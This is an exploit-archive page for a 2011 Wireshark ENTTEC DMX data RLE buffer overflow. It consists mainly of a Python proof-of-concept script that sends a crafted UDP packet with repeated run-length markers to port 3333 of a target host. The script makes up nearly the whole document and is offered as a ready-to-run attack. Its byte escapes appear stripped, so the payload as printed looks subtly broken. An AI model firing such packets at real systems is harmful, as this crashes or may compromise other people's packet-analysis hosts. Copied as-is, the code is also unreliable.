Wireshark ENTTEC DMX Data RLE Buffer Overflow Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Wireshark ENTTEC DMX Data RLE Buffer Overflow Vulnerability
# Published : 2011-01-03
# Author : non-customers crew
# Previous Title : Xynph 1.0 USER Denial of Service Exploit
# Next Title : Music Animation Machine MIDI Player Local Crash PoC

Source: http://www.securityfocus.com/bid/45634/info

#!/usr/bin/env python

# Wireshark ENTTEC DMX Data (UDP) Buffer Overflow PoC
# by non-customers crew in 2010
# http://rock-madrid.com/

import socket, sys

try:
  host = sys.argv[1]
except:
  print "usage: " + sys.argv[0] + " <host>"
  sys.exit(2)

port = 3333
addr = (host, port)

data  = "ESDDx10x20x04"
data += "x00x0c"
data += "xfexffx41"
data += "xfexffx42"
data += "xfexffx43"
data += "xfexffx44"

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
  udps.sendto(data, addr)
except:
  print "can't lookup host"
  sys.exit(1)

udps.close()
sys.exit(0)